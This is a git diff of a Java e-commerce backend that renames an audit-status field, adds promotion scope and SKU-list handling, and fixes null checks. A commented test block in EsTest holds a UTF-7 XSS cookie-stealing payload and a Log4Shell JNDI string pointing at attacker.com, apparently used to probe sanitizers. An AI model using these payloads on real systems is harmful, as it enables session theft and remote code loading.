import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultCode;
@ -27,6 +28,7 @@ import cn.lili.rocketmq.tags.GoodsTagsEnum;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper;
import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper;
import com.google.gson.Gson; import com.google.gson.Gson;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.apache.rocketmq.spring.core.RocketMQTemplate;
@ -39,6 +41,7 @@ import java.util.Arrays;
import java.util.HashMap; import java.util.HashMap;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.stream.Collectors;
/** /**
* 秒杀活动业务层实现 * 秒杀活动业务层实现
@ -138,6 +141,13 @@ public class SeckillServiceImpl extends AbstractPromotionsServiceImpl<SeckillMap
@Override @Override
public void updateEsGoodsSeckill(Seckill seckill, List<SeckillApply> seckillApplies) { public void updateEsGoodsSeckill(Seckill seckill, List<SeckillApply> seckillApplies) {
if (seckillApplies != null && !seckillApplies.isEmpty()) { if (seckillApplies != null && !seckillApplies.isEmpty()) {
// 更新促销范围
List<String> skuIds = seckillApplies.stream().map(SeckillApply::getSkuId).collect(Collectors.toList());
seckill.setScopeId(ArrayUtil.join(skuIds.toArray(), ","));
UpdateWrapper<Seckill> updateWrapper = new UpdateWrapper<>();
updateWrapper.eq("id", seckill.getId());
updateWrapper.set("scope_id", seckill.getScopeId());
this.update(updateWrapper);
//循环秒杀商品数据将数据按照时间段进行存储 //循环秒杀商品数据将数据按照时间段进行存储
for (SeckillApply seckillApply : seckillApplies) { for (SeckillApply seckillApply : seckillApplies) {
if (seckillApply.getPromotionApplyStatus().equals(PromotionsApplyStatusEnum.PASS.name())) { if (seckillApply.getPromotionApplyStatus().equals(PromotionsApplyStatusEnum.PASS.name())) {

View File

@ -27,27 +27,6 @@ public class PromotionTools {
public static final String START_TIME_COLUMN = "start_time"; public static final String START_TIME_COLUMN = "start_time";
public static final String END_TIME_COLUMN = "end_time"; public static final String END_TIME_COLUMN = "end_time";
/**
* 参数验证
* 1活动起始时间必须大于当前时间
* 2验证活动开始时间是否大于活动结束时间
*
* @param startTime 活动开始时间
* @param endTime 活动结束时间
* @param num 参与活动商品数量
* @param goodsList 选择的商品
*/
public static void paramValid(Date startTime, Date endTime, int num, List<PromotionGoods> goodsList) {
checkPromotionTime(startTime, endTime);
//如果促销活动选择的是部分商品参加活动
if (num != -1 && goodsList == null) {
throw new ServiceException(ResultCode.PROMOTION_GOODS_ERROR);
}
}
/** /**
* 参数验证 * 参数验证
* 1活动起始时间必须大于当前时间 * 1活动起始时间必须大于当前时间

View File

@ -225,7 +225,7 @@ public class EsGoodsIndex implements Serializable {
*/ */
@Field(type = FieldType.Text) @Field(type = FieldType.Text)
@ApiModelProperty("审核状态") @ApiModelProperty("审核状态")
private String isAuth; private String authFlag;
/** /**
* 卖点 * 卖点
@ -305,7 +305,7 @@ public class EsGoodsIndex implements Serializable {
this.selfOperated = sku.getSelfOperated(); this.selfOperated = sku.getSelfOperated();
this.salesModel = sku.getSalesModel(); this.salesModel = sku.getSalesModel();
this.marketEnable = sku.getMarketEnable(); this.marketEnable = sku.getMarketEnable();
this.isAuth = sku.getIsAuth(); this.authFlag = sku.getAuthFlag();
this.intro = sku.getIntro(); this.intro = sku.getIntro();
this.grade = sku.getGrade(); this.grade = sku.getGrade();
this.recommend = sku.getRecommend(); this.recommend = sku.getRecommend();
@ -371,7 +371,7 @@ public class EsGoodsIndex implements Serializable {
this.selfOperated = sku.getSelfOperated(); this.selfOperated = sku.getSelfOperated();
this.salesModel = sku.getSalesModel(); this.salesModel = sku.getSalesModel();
this.marketEnable = sku.getMarketEnable(); this.marketEnable = sku.getMarketEnable();
this.isAuth = sku.getIsAuth(); this.authFlag = sku.getAuthFlag();
this.intro = sku.getIntro(); this.intro = sku.getIntro();
this.grade = sku.getGrade(); this.grade = sku.getGrade();
this.releaseTime = new Date(); this.releaseTime = new Date();

View File

@ -133,10 +133,10 @@ public interface EsGoodsIndexService {
/** /**
* 删除索引中指定的促销活动id的促销活动 * 删除索引中指定的促销活动id的促销活动
* *
* @param skuId 商品skuId * @param skuIds 商品skuId
* @param promotionId 促销活动Id * @param promotionId 促销活动Id
*/ */
void deleteEsGoodsPromotionByPromotionId(String skuId, String promotionId); void deleteEsGoodsPromotionByPromotionId(List<String> skuIds, String promotionId);
/** /**
* 清除所以商品索引的无效促销活动 * 清除所以商品索引的无效促销活动

View File

@ -120,19 +120,19 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements
try { try {
//查询商品信息 //查询商品信息
LambdaQueryWrapper<GoodsSku> queryWrapper = new LambdaQueryWrapper<>(); LambdaQueryWrapper<GoodsSku> queryWrapper = new LambdaQueryWrapper<>();
queryWrapper.eq(GoodsSku::getIsAuth, GoodsAuthEnum.PASS.name()); queryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name());
queryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name()); queryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name());
List<EsGoodsIndex> esGoodsIndices = new ArrayList<>(); List<EsGoodsIndex> esGoodsIndices = new ArrayList<>();
LambdaQueryWrapper<Goods> goodsQueryWrapper = new LambdaQueryWrapper<>(); LambdaQueryWrapper<Goods> goodsQueryWrapper = new LambdaQueryWrapper<>();
goodsQueryWrapper.eq(Goods::getIsAuth, GoodsAuthEnum.PASS.name()); goodsQueryWrapper.eq(Goods::getAuthFlag, GoodsAuthEnum.PASS.name());
goodsQueryWrapper.eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name()); goodsQueryWrapper.eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name());
for (Goods goods : goodsService.list(goodsQueryWrapper)) { for (Goods goods : goodsService.list(goodsQueryWrapper)) {
LambdaQueryWrapper<GoodsSku> skuQueryWrapper = new LambdaQueryWrapper<>(); LambdaQueryWrapper<GoodsSku> skuQueryWrapper = new LambdaQueryWrapper<>();
skuQueryWrapper.eq(GoodsSku::getGoodsId, goods.getId()); skuQueryWrapper.eq(GoodsSku::getGoodsId, goods.getId());
skuQueryWrapper.eq(GoodsSku::getIsAuth, GoodsAuthEnum.PASS.name()); skuQueryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name());
skuQueryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name()); skuQueryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name());
List<GoodsSku> goodsSkuList = goodsSkuService.list(skuQueryWrapper); List<GoodsSku> goodsSkuList = goodsSkuService.list(skuQueryWrapper);
@ -420,7 +420,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements
Map<String, Object> promotionMap = goodsIndex.getPromotionMap(); Map<String, Object> promotionMap = goodsIndex.getPromotionMap();
if (promotionMap != null && !promotionMap.isEmpty()) { if (promotionMap != null && !promotionMap.isEmpty()) {
//如果存在同类型促销活动删除 //如果存在同类型促销活动删除
List<String> collect = promotionMap.keySet().parallelStream().filter(i -> i.contains(promotionType.name())).collect(Collectors.toList()); List<String> collect = promotionMap.keySet().stream().filter(i -> i.contains(promotionType.name())).collect(Collectors.toList());
collect.forEach(promotionMap::remove); collect.forEach(promotionMap::remove);
goodsIndex.setPromotionMap(promotionMap); goodsIndex.setPromotionMap(promotionMap);
updateIndex(goodsIndex); updateIndex(goodsIndex);
@ -432,14 +432,16 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements
} }
@Override @Override
public void deleteEsGoodsPromotionByPromotionId(String skuId, String promotionId) { public void deleteEsGoodsPromotionByPromotionId(List<String> skuIds, String promotionId) {
if (skuId != null) { if (skuIds != null && !skuIds.isEmpty()) {
EsGoodsIndex goodsIndex = findById(skuId); for (String skuId : skuIds) {
//商品索引不为空 EsGoodsIndex goodsIndex = findById(skuId);
if (goodsIndex != null) { //商品索引不为空
this.removePromotionByPromotionId(goodsIndex, promotionId); if (goodsIndex != null) {
} else { this.removePromotionByPromotionId(goodsIndex, promotionId);
log.error("更新索引商品促销信息失败skuId 为 【{}】的索引不存在!", skuId); } else {
log.error("更新索引商品促销信息失败skuId 为 【{}】的索引不存在!", skuId);
}
} }
} else { } else {
for (EsGoodsIndex goodsIndex : this.goodsIndexRepository.findAll()) { for (EsGoodsIndex goodsIndex : this.goodsIndexRepository.findAll()) {
@ -480,7 +482,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements
for (Map.Entry<String, Object> entry : promotionMap.entrySet()) { for (Map.Entry<String, Object> entry : promotionMap.entrySet()) {
BasePromotions promotion = (BasePromotions) entry.getValue(); BasePromotions promotion = (BasePromotions) entry.getValue();
//判定条件为活动已结束 //判定条件为活动已结束
if (promotion.getEndTime().getTime() < DateUtil.date().getTime()) { if (promotion.getEndTime() != null && promotion.getEndTime().getTime() < DateUtil.date().getTime()) {
if (entry.getKey().contains(PromotionTypeEnum.SECKILL.name()) || entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { if (entry.getKey().contains(PromotionTypeEnum.SECKILL.name()) || entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) {
goodsIndex.setPromotionPrice(goodsIndex.getPrice()); goodsIndex.setPromotionPrice(goodsIndex.getPrice());
} }

View File

@ -372,7 +372,7 @@ public class EsGoodsSearchServiceImpl implements EsGoodsSearchService {
//未上架的商品不显示 //未上架的商品不显示
filterBuilder.must(QueryBuilders.matchQuery("marketEnable", GoodsStatusEnum.UPPER.name())); filterBuilder.must(QueryBuilders.matchQuery("marketEnable", GoodsStatusEnum.UPPER.name()));
//待审核和审核不通过的商品不显示 //待审核和审核不通过的商品不显示
filterBuilder.must(QueryBuilders.matchQuery("isAuth", GoodsAuthEnum.PASS.name())); filterBuilder.must(QueryBuilders.matchQuery("authFlag", GoodsAuthEnum.PASS.name()));
//关键字检索 //关键字检索

View File

@ -37,7 +37,7 @@ public class GoodsStatisticsServiceImpl extends ServiceImpl<GoodsStatisticsMappe
queryWrapper.eq(Goods::getMarketEnable, goodsStatusEnum.name()); queryWrapper.eq(Goods::getMarketEnable, goodsStatusEnum.name());
} }
if (goodsAuthEnum != null) { if (goodsAuthEnum != null) {
queryWrapper.eq(Goods::getIsAuth, goodsAuthEnum.name()); queryWrapper.eq(Goods::getAuthFlag, goodsAuthEnum.name());
} }
AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser());
queryWrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.STORE.name()), queryWrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.STORE.name()),

View File

@ -1,6 +1,6 @@
package cn.lili.modules.system.token; package cn.lili.modules.system.token;
import cn.hutool.core.util.StrUtil; import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.cache.Cache; import cn.lili.cache.Cache;
import cn.lili.cache.CachePrefix; import cn.lili.cache.CachePrefix;
import cn.lili.common.security.AuthUser; import cn.lili.common.security.AuthUser;
@ -74,16 +74,16 @@ public class ManagerTokenGenerate extends AbstractTokenGenerate {
initPermission(superPermissions, queryPermissions); initPermission(superPermissions, queryPermissions);
//循环权限菜单 //循环权限菜单
if (userMenuVOList == null || userMenuVOList.isEmpty()) { if (userMenuVOList != null && !userMenuVOList.isEmpty()) {
userMenuVOList.forEach(menu -> { userMenuVOList.forEach(menu -> {
//循环菜单赋予用户权限 //循环菜单赋予用户权限
if (StrUtil.isNotEmpty(menu.getPermission())) { if (CharSequenceUtil.isNotEmpty(menu.getPermission())) {
//获取路径集合 //获取路径集合
String[] permissionUrl = menu.getPermission().split(","); String[] permissionUrl = menu.getPermission().split(",");
//for循环路径集合 //for循环路径集合
for (String url : permissionUrl) { for (String url : permissionUrl) {
//如果是超级权限 则计入超级权限 //如果是超级权限 则计入超级权限
if (menu.getSuper()) { if (Boolean.TRUE.equals(menu.getSuper())) {
//如果已有超级权限则这里就不做权限的累加 //如果已有超级权限则这里就不做权限的累加
if (!superPermissions.contains(url)) { if (!superPermissions.contains(url)) {
superPermissions.add(url); superPermissions.add(url);

View File

@ -1,8 +1,8 @@
package cn.lili.controller.goods; package cn.lili.controller.goods;
import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultCode;
import cn.lili.common.exception.ServiceException;
import cn.lili.common.enums.ResultUtil; import cn.lili.common.enums.ResultUtil;
import cn.lili.common.exception.ServiceException;
import cn.lili.common.vo.ResultMessage; import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.goods.entity.dos.Goods; import cn.lili.modules.goods.entity.dos.Goods;
import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dos.GoodsSku;
@ -61,7 +61,7 @@ public class GoodsManagerController {
@GetMapping(value = "/auth/list") @GetMapping(value = "/auth/list")
public IPage<Goods> getAuthPage(GoodsSearchParams goodsSearchParams) { public IPage<Goods> getAuthPage(GoodsSearchParams goodsSearchParams) {
goodsSearchParams.setIsAuth(GoodsAuthEnum.TOBEAUDITED.name()); goodsSearchParams.setAuthFlag(GoodsAuthEnum.TOBEAUDITED.name());
return goodsService.queryByParams(goodsSearchParams); return goodsService.queryByParams(goodsSearchParams);
} }
@ -82,12 +82,12 @@ public class GoodsManagerController {
@ApiOperation(value = "管理员审核商品", notes = "管理员审核商品") @ApiOperation(value = "管理员审核商品", notes = "管理员审核商品")
@ApiImplicitParams({ @ApiImplicitParams({
@ApiImplicitParam(name = "goodsIds", value = "商品ID", required = true, paramType = "path", allowMultiple = true, dataType = "int"), @ApiImplicitParam(name = "goodsIds", value = "商品ID", required = true, paramType = "path", allowMultiple = true, dataType = "int"),
@ApiImplicitParam(name = "isAuth", value = "审核结果", required = true, paramType = "query", dataType = "string") @ApiImplicitParam(name = "authFlag", value = "审核结果", required = true, paramType = "query", dataType = "string")
}) })
@PutMapping(value = "{goodsIds}/auth") @PutMapping(value = "{goodsIds}/auth")
public ResultMessage<Object> auth(@PathVariable List<String> goodsIds, @RequestParam String isAuth) { public ResultMessage<Object> auth(@PathVariable List<String> goodsIds, @RequestParam String authFlag) {
//校验商品是否存在 //校验商品是否存在
if (goodsService.auditGoods(goodsIds, GoodsAuthEnum.valueOf(isAuth))) { if (goodsService.auditGoods(goodsIds, GoodsAuthEnum.valueOf(authFlag))) {
return ResultUtil.success(); return ResultUtil.success();
} }
throw new ServiceException(ResultCode.GOODS_AUTH_ERROR); throw new ServiceException(ResultCode.GOODS_AUTH_ERROR);

View File

@ -24,7 +24,7 @@ import java.util.Arrays;
* 管理端,促销接口 * 管理端,促销接口
* *
* @author qiuqiu * @author qiuqiu
* @date 2021/7/2 * @since 2021/7/2
**/ **/
@RestController @RestController
@Api(tags = "管理端,砍价促销接口") @Api(tags = "管理端,砍价促销接口")
@ -44,8 +44,8 @@ public class KanJiaActivityGoodsManagerController {
@ApiOperation(value = "获取砍价活动分页") @ApiOperation(value = "获取砍价活动分页")
@GetMapping @GetMapping
public ResultMessage<IPage<KanjiaActivityGoods>> getKanJiaActivityPage(KanjiaActivityGoodsParams KanJiaActivityParams, PageVO page) { public ResultMessage<IPage<KanjiaActivityGoods>> getKanJiaActivityPage(KanjiaActivityGoodsParams kanJiaParams, PageVO page) {
return ResultUtil.data(kanJiaActivityGoodsService.getForPage(KanJiaActivityParams, page)); return ResultUtil.data(kanJiaActivityGoodsService.pageFindAll(kanJiaParams, page));
} }
@ -60,7 +60,9 @@ public class KanJiaActivityGoodsManagerController {
@PutMapping @PutMapping
@ApiOperation(value = "修改砍价商品") @ApiOperation(value = "修改砍价商品")
public ResultMessage<Object> updatePointsGoods(@RequestBody KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO) { public ResultMessage<Object> updatePointsGoods(@RequestBody KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO) {
kanJiaActivityGoodsService.updateKanjiaActivityGoods(kanJiaActivityGoodsDTO); if (!kanJiaActivityGoodsService.updateKanjiaActivityGoods(kanJiaActivityGoodsDTO)) {
return ResultUtil.error(ResultCode.KANJIA_GOODS_UPDATE_ERROR);
}
return ResultUtil.success(); return ResultUtil.success();
} }
@ -68,7 +70,7 @@ public class KanJiaActivityGoodsManagerController {
@DeleteMapping("/{ids}") @DeleteMapping("/{ids}")
@ApiOperation(value = "删除砍价商品") @ApiOperation(value = "删除砍价商品")
public ResultMessage<Object> delete(@PathVariable String ids) { public ResultMessage<Object> delete(@PathVariable String ids) {
if (kanJiaActivityGoodsService.deleteKanJiaGoods(Arrays.asList(ids.split(",")))) { if (kanJiaActivityGoodsService.removePromotions(Arrays.asList(ids.split(",")))) {
return ResultUtil.success(); return ResultUtil.success();
} }
throw new ServiceException(ResultCode.KANJIA_GOODS_DELETE_ERROR); throw new ServiceException(ResultCode.KANJIA_GOODS_DELETE_ERROR);

View File

@ -7,6 +7,8 @@ import cn.lili.modules.goods.entity.dos.GoodsSku;
import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum;
import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.service.PromotionService; import cn.lili.modules.promotion.service.PromotionService;
import cn.lili.modules.search.entity.dos.EsGoodsAttribute; import cn.lili.modules.search.entity.dos.EsGoodsAttribute;
import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.entity.dos.EsGoodsIndex;
@ -63,14 +65,18 @@ class EsTest {
// System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); // System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
// System.out.println(HtmlUtil.unescape(safeHTML)); // System.out.println(HtmlUtil.unescape(safeHTML));
// System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); // System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
Date dt1 = new Date(2021, 12, 10); // Date dt1 = new Date(2021, 12, 10);
Date dt2 = new Date(2021, 12, 14); // Date dt2 = new Date(2021, 12, 14);
//
System.out.println(new Date().before(dt2)); // System.out.println(new Date().before(dt2));
// String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}"); // String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}");
// String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}"); // String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}");
// System.out.println(filter); // System.out.println(filter);
// System.out.println(sanitize); // System.out.println(sanitize);
FullDiscount fullDiscount = new FullDiscount();
fullDiscount.setStartTime(new Date());
BasePromotions promotions = fullDiscount;
System.out.println(promotions);
} }
@ -124,7 +130,7 @@ class EsTest {
@Test @Test
void init() { void init() {
LambdaQueryWrapper<GoodsSku> queryWrapper = new LambdaQueryWrapper<>(); LambdaQueryWrapper<GoodsSku> queryWrapper = new LambdaQueryWrapper<>();
queryWrapper.eq(GoodsSku::getIsAuth, GoodsAuthEnum.PASS.name()); queryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name());
queryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name()); queryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name());
List<GoodsSku> list = goodsSkuService.list(queryWrapper); List<GoodsSku> list = goodsSkuService.list(queryWrapper);
List<EsGoodsIndex> esGoodsIndices = new ArrayList<>(); List<EsGoodsIndex> esGoodsIndices = new ArrayList<>();
@ -173,60 +179,6 @@ class EsTest {
@Test @Test
void updateIndex() { void updateIndex() {
// EsGoodsIndex goodsIndex = new EsGoodsIndex();
// goodsIndex.setId("121");
// goodsIndex.setBrandId("113");
// goodsIndex.setGoodsId("113");
// goodsIndex.setCategoryPath("0|1");
// goodsIndex.setBuyCount(100);
// goodsIndex.setCommentNum(100);
// goodsIndex.setGoodsName("惠普HP战66 三代AMD版14英寸轻薄笔记本电脑锐龙7nm 六核R5-4500U 16G 512G 400尼特高色域一年上门 ");
// goodsIndex.setGrade(100D);
// goodsIndex.setHighPraiseNum(100);
// goodsIndex.setIntro("I'd like a cup of tea, please");
// goodsIndex.setIsAuth("1");
// goodsIndex.setMarketEnable("1");
// goodsIndex.setMobileIntro("I want something cold to drink");
// goodsIndex.setPoint(100);
// goodsIndex.setPrice(100D);
// goodsIndex.setSelfOperated(true);
// goodsIndex.setStoreId("113");
// goodsIndex.setStoreName("惠普自营官方旗舰店");
// goodsIndex.setStoreCategoryPath("1");
// goodsIndex.setThumbnail("picture");
// goodsIndex.setSn("A113");
// Map<String, BasePromotion> promotionMap = new HashMap<>();
// Coupon coupon = new Coupon();
// coupon.setStoreId("113");
// coupon.setStoreName("惠普自营官方旗舰店");
// coupon.setPromotionStatus(PromotionStatusEnum.START.name());
// coupon.setReceivedNum(0);
// coupon.setConsumeLimit(11D);
// coupon.setCouponLimitNum(10);
// coupon.setCouponName("满11减10");
// coupon.setCouponType(CouponTypeEnum.PRICE.name());
// coupon.setGetType(CouponGetEnum.FREE.name());
// coupon.setPrice(10D);
// promotionMap.put(PromotionTypeEnum.COUPON.name(), coupon);
// goodsIndex.setPromotionMap(promotionMap);
// List<EsGoodsAttribute> esGoodsAttributeList = new ArrayList<>();
// EsGoodsAttribute attribute = new EsGoodsAttribute();
// attribute.setType(0);
// attribute.setName("颜色");
// attribute.setValue("14英寸");
// esGoodsAttributeList.add(attribute);
// esGoodsAttributeList.add(attribute);
// attribute = new EsGoodsAttribute();
// attribute.setName("版本");
// attribute.setValue("【战66新品】R5-4500 8G 256G");
// esGoodsAttributeList.add(attribute);
// attribute = new EsGoodsAttribute();
// attribute.setName("配置");
// attribute.setValue("i5 8G 512G 2G独显");
// esGoodsAttributeList.add(attribute);
// goodsIndex.setAttrList(esGoodsAttributeList);
// GoodsSku goodsSkuByIdFromCache = goodsSkuService.getGoodsSkuByIdFromCache("121");
// EsGoodsIndex goodsIndex = new EsGoodsIndex(goodsSkuByIdFromCache);
EsGoodsIndex byId = esGoodsIndexService.findById("121"); EsGoodsIndex byId = esGoodsIndexService.findById("121");
byId.setPromotionMap(null); byId.setPromotionMap(null);
esGoodsIndexService.updateIndex(byId); esGoodsIndexService.updateIndex(byId);
@ -253,7 +205,7 @@ class EsTest {
goodsIndex.setGrade(100D); goodsIndex.setGrade(100D);
goodsIndex.setHighPraiseNum(100); goodsIndex.setHighPraiseNum(100);
goodsIndex.setIntro("I'd like a cup of tea, please"); goodsIndex.setIntro("I'd like a cup of tea, please");
goodsIndex.setIsAuth("1"); goodsIndex.setAuthFlag("1");
goodsIndex.setMarketEnable("1"); goodsIndex.setMarketEnable("1");
goodsIndex.setMobileIntro("I want something cold to drink"); goodsIndex.setMobileIntro("I want something cold to drink");
goodsIndex.setPoint(0); goodsIndex.setPoint(0);

View File

@ -42,10 +42,10 @@ class FullDiscountTest {
fullDiscountVO.setStoreId("131"); fullDiscountVO.setStoreId("131");
fullDiscountVO.setStoreName("小米自营旗舰店"); fullDiscountVO.setStoreName("小米自营旗舰店");
fullDiscountVO.setDescription("full discount test " + RandomUtil.randomNumber()); fullDiscountVO.setDescription("full discount test " + RandomUtil.randomNumber());
fullDiscountVO.setIsFullMinus(true); fullDiscountVO.setFullMinusFlag(true);
fullDiscountVO.setFullMoney(130D); fullDiscountVO.setFullMoney(130D);
fullDiscountVO.setFullMinus(100D); fullDiscountVO.setFullMinus(100D);
fullDiscountVO.setIsFreeFreight(true); fullDiscountVO.setFreeFreightFlag(true);
fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId()); fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId());
fullDiscountVO.setTitle("" + fullDiscountVO.getFullMoney() + "" + fullDiscountVO.getFullMinus()); fullDiscountVO.setTitle("" + fullDiscountVO.getFullMoney() + "" + fullDiscountVO.getFullMinus());
@ -91,10 +91,10 @@ class FullDiscountTest {
fullDiscountVO.setStoreId("132"); fullDiscountVO.setStoreId("132");
fullDiscountVO.setStoreName("联想自营旗舰店"); fullDiscountVO.setStoreName("联想自营旗舰店");
fullDiscountVO.setDescription("Not worth"); fullDiscountVO.setDescription("Not worth");
fullDiscountVO.setIsFullMinus(true); fullDiscountVO.setFullMinusFlag(true);
fullDiscountVO.setFullMoney(100D); fullDiscountVO.setFullMoney(100D);
fullDiscountVO.setFullMinus(80D); fullDiscountVO.setFullMinus(80D);
fullDiscountVO.setIsFreeFreight(true); fullDiscountVO.setFreeFreightFlag(true);
fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId()); fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId());
fullDiscountVO.setTitle("" + fullDiscountVO.getFullMoney() + "" + fullDiscountVO.getFullMinus()); fullDiscountVO.setTitle("" + fullDiscountVO.getFullMoney() + "" + fullDiscountVO.getFullMinus());

View File

@ -1,5 +1,6 @@
package cn.lili.controller.promotion; package cn.lili.controller.promotion;
import cn.hutool.core.util.ArrayUtil;
import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultCode;
import cn.lili.common.enums.ResultUtil; import cn.lili.common.enums.ResultUtil;
@ -24,7 +25,9 @@ import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.*;
import java.util.Collections; import java.util.Collections;
import java.util.List;
import java.util.Objects; import java.util.Objects;
import java.util.stream.Collectors;
/** /**
* 店铺端,拼团管理接口 * 店铺端,拼团管理接口
@ -88,6 +91,12 @@ public class PintuanStoreController {
AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser());
pintuan.setStoreId(currentUser.getStoreId()); pintuan.setStoreId(currentUser.getStoreId());
pintuan.setStoreName(currentUser.getStoreName()); pintuan.setStoreName(currentUser.getStoreName());
if (pintuan.getPromotionGoodsList() != null && !pintuan.getPromotionGoodsList().isEmpty()) {
List<String> skuIds = pintuan.getPromotionGoodsList().stream().map(PromotionGoods::getSkuId).collect(Collectors.toList());
pintuan.setScopeId(ArrayUtil.join(skuIds.toArray(), ","));
} else {
pintuan.setScopeId(null);
}
if (pintuanService.updatePromotions(pintuan)) { if (pintuanService.updatePromotions(pintuan)) {
return ResultUtil.success(ResultCode.PINTUAN_EDIT_SUCCESS); return ResultUtil.success(ResultCode.PINTUAN_EDIT_SUCCESS);
} }